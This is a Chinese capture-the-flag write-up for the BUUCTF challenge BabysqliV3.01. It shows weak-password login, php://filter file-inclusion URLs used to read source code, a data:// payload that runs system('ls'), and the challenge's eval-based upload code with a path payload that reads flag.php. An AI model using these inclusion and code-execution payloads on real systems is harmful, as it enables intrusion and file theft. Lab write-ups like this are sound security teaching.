【BUUCTF】[GXYCTF2019]BabysqliV3.01

server/2025/1/30 8:14:11/

进入题目页面如下

是一个登陆界面,尝试万能密码登录

当输入带有符号的用户名时,提示用户不存在,那尝试

弱口令密码

用户名:admin

密码:password

可以,登陆上去了,页面如下

难道是文件上传?

上传了一句话木马的文件并没有显示上传成功及文件路径,上传带有木马的图片转化成了文本且显示太大了

应该换个思路

发现URL里有传参?file=upload

想要获取源码,猜测需要构造伪协议

构造伪协议

1、home.php

php">http//:a6e52924-fe4f-43a7-8bec-59cf51b383c6.node5.buuoj.cn:81/home.php?file=php://filter/convert.base64-encode/resource=home

2、upload.php 

php">http//:a6e52924-fe4f-43a7-8bec-59cf51b383c6.node5.buuoj.cn:81/home.php?file=php://filter/convert.base64-encode/resource=upload

伪协议知识点

在 Web 安全测试和开发过程中,有时候需要利用伪协议来获取目标文件的源码

PHP 环境下的伪协议利用

1. php://filter 伪协议
  • 原理php://filter 伪协议允许你在读取文件内容之前对其进行过滤,例如进行 base64 编码,这样可以绕过一些文件包含的限制,并且避免直接执行文件中的代码。
  • 假设存在一个文件包含漏洞,目标代码如下
php"><?php
$file = $_GET['file'];
include($file);
?>

可以构造如下 URL 来获取目标文件的源码

http://example.com/index.php?file=php://filter/read=convert.base64-encode/resource=target_file.php
  • 解释
    • php://filter 是伪协议的名称。
    • read=convert.base64-encode 表示对读取的文件内容进行 base64 编码。
    • resource=target_file.php 指定要读取的目标文件。

获取到 base64 编码后的内容后,在本地进行解码即可得到目标文件的源码。

2. data://text/plain 伪协议
  • 原理data://text/plain 伪协议允许你直接在 URL 中嵌入数据,并将其作为文件内容进行处理。
  • 针对上述文件包含漏洞,可以构造如下 URL
http://example.com/index.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyAiKTs/Pg==

这里 PD9waHAgc3lzdGVtKCJscyAiKTs/Pg== 是 <?php system("ls ");?> 的 base64 编码。

  • 解释
    • data://text/plain 是伪协议名称。
    • ;base64 表示后面的数据是经过 base64 编码的。
    • 编码后的数据就是要执行或包含的内容。

Java 环境下的伪协议利用

1. jar: 伪协议
  • 原理jar: 伪协议可以用来访问 JAR 文件中的资源。在一些存在文件包含或资源加载漏洞的 Java 应用中,可以利用该伪协议来获取 JAR 文件中的源码。
  • 假设存在一个 Java 应用,通过 URLClassLoader 加载外部资源,攻击者可以构造如下 URL:
jar:file:/path/to/your.jar!/com/example/YourClass.class
  • 解释
    • jar: 是伪协议名称。
    • file:/path/to/your.jar 指定 JAR 文件的路径。
    • !/com/example/YourClass.class 指定 JAR 文件中要访问的具体类文件。

利用伪协议获得home.php和upload.php的源码

访问后得到的页面如下

需要对以上base64编码解码,可以使用下面这个在线工具

base64解码 base64编码 在线base64解码/编码工具 iP138在线工具

按以上方法获得home.php和upload.php的源码

1、home.php源码

php"><?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){if(isset($_GET['file'])){if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){die("hacker!");}else{if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){$file = $_GET['file'].".php";}else{$file = $_GET['file'].".fxxkyou!";}echo "当前引用的是 ".$file;require $file;}}else{die("no permission!");}
}
?>

2、upload.php源码

php"><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <form action="" method="post" enctype="multipart/form-data">上传文件<input type="file" name="file" /><input type="submit" name="submit" value="上传" />
</form><?php
error_reporting(0);
class Uploader{public $Filename;public $cmd;public $token;function __construct(){$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";$ext = ".txt";@mkdir($sandbox, 0777, true);if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){$this->Filename = $_GET['name'];}else{$this->Filename = $sandbox.$_SESSION['user'].$ext;}$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";$this->token = $_SESSION['user'];}function upload($file){global $sandbox;global $ext;if(preg_match("[^a-z0-9]", $this->Filename)){$this->cmd = "die('illegal filename!');";}else{if($file['size'] > 1024){$this->cmd = "die('you are too big (′▽`〃)');";}else{$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";}}}function __toString(){global $sandbox;global $ext;// return $sandbox.$this->Filename.$ext;return $this->Filename;}function __destruct(){if($this->token != $_SESSION['user']){$this->cmd = "die('check token falied!');";}eval($this->cmd);}
}if(isset($_FILES['file'])) {$uploader = new Uploader();$uploader->upload($_FILES["file"]);if(@file_get_contents($uploader)){echo "下面是你上传的文件:<br>".$uploader."<br>";echo file_get_contents($uploader);}
}?>

代码审计

类 Uploader:
构造函数 __construct:
生成一个沙盒目录,路径为当前工作目录下的 uploads 文件夹,以用户会话中的 user 值的 MD5 哈希命名。
若 $_GET['name'] 存在且不包含特定的危险字符串(如 data://、filter://、php:// 或 .),则将其赋值给 $Filename;否则,使用沙盒目录和用户会话中的 user 值加上 .txt 扩展名作为文件名。
初始化 $cmd 为一个提示信息,$token 为用户会话中的 user 值。
方法 upload:
若 $Filename 包含非字母数字字符,将 $cmd 设置为输出非法文件名的错误信息。
若上传文件大小超过 1024 字节,将 $cmd 设置为输出文件过大的错误信息。
若以上条件都不满足,将 $cmd 设置为使用 move_uploaded_file 函数将上传文件移动到指定位置的代码。
魔术方法 __toString:返回 $Filename 的值。
析构函数 __destruct:
检查 $token 是否与用户会话中的 user 值相等,若不相等,将 $cmd 设置为输出令牌检查失败的错误信息。
执行 $cmd 中的代码。
主程序逻辑:
若存在上传文件,创建 Uploader 对象并调用 upload 方法处理上传文件。
尝试读取上传文件的内容,若成功则输出文件路径和内容。

重点看以下代码

有file_get_contents($uploader)函数,这是一个读取文件的函数,猜测可以读取flag文件,通过修改Filename参数来读取flag信息

构造payload如下

php">http://7273c8cf-da67-4fc9-b0e5-8a1691cef3f8.node5.buuoj.cn:81/home.php?file=upload&name=/var/www/html/flag.php

访问后,上传一个按照规定内的文件,最后利用burpsuite抓包,得到flag


http://www.ppmy.cn/server/163455.html

相关文章

HarmonyOS:创建应用静态快捷方式

一、前言 静态快捷方式是一种在系统中创建的可以快速访问应用程序或特定功能的链接。它通常可以在长按应用图标&#xff0c;以图标和相应的文字出现在应用图标的上方&#xff0c;用户可以迅速启动对应应用程序的组件。使用快捷方式&#xff0c;可以提高效率&#xff0c;节省了查…

wx044基于springboot+vue+uniapp的智慧物业平台小程序

开发语言&#xff1a;Java框架&#xff1a;springbootuniappJDK版本&#xff1a;JDK1.8服务器&#xff1a;tomcat7数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09;数据库工具&#xff1a;Navicat11开发软件&#xff1a;eclipse/myeclipse/ideaMaven包&#…

-bash: ./uninstall.command: /bin/sh^M: 坏的解释器: 没有那个文件或目录

终端报错&#xff1a; -bash: ./uninstall.command: /bin/sh^M: 坏的解释器: 没有那个文件或目录原因&#xff1a;由于文件行尾符不匹配导致的。当脚本文件在Windows环境中创建或编辑后&#xff0c;行尾符为CRLF&#xff08;即回车和换行&#xff0c;\r\n&#xff09;&#xf…

WordPress使用(1)

1. 概述 WordPress是一个开源博客框架&#xff0c;配合不同主题&#xff0c;可以有多种展现方式&#xff0c;博客、企业官网、CMS系统等&#xff0c;都可以很好的实现。 官网&#xff1a;博客工具、发布平台和内容管理系统 – WordPress.org China 简体中文&#xff0c;这里可…

Android createScaledBitmap与Canvas通过RectF drawBitmap生成马赛克/高斯模糊(毛玻璃)对比,Kotlin

Android createScaledBitmap与Canvas通过RectF drawBitmap生成马赛克/高斯模糊&#xff08;毛玻璃&#xff09;对比&#xff0c;Kotlin import android.graphics.Bitmap import android.graphics.BitmapFactory import android.graphics.Canvas import android.graphics.RectF …

蓝桥杯例题一

不管遇到多大的困难&#xff0c;我们都要坚持下去。每一次挫折都是我们成长的机会&#xff0c;每一次失败都是我们前进的动力。路漫漫其修远兮&#xff0c;吾将上下而求索。只有不断努力奋斗&#xff0c;才能追逐到自己的梦想。不要害怕失败&#xff0c;害怕的是不敢去尝试。只…

【Linux基础指令】第三期

近期更新的基础指令链接&#xff1a; 【Linux基础指令】第一期-CSDN博客 【Linux基础指令】第二期-CSDN博客 本期博客的主题依旧是 "基础指令" &#xff1b;话不多说&#xff0c;正文开始。 一、Linux的指令 1.zip / unzip 功能&#xff1a;打包压缩 命令格式&…

一文大白话讲清楚webpack基本使用——16——图片压缩

文章目录 一文大白话讲清楚webpack基本使用——16——图片压缩1. 建议按文章顺序从头看&#xff0c;一看到底&#xff0c;豁然开朗2. 为啥要压缩图片3. 怎么压缩4. image-webpack-loader压缩原理 一文大白话讲清楚webpack基本使用——16——图片压缩 1. 建议按文章顺序从头看&…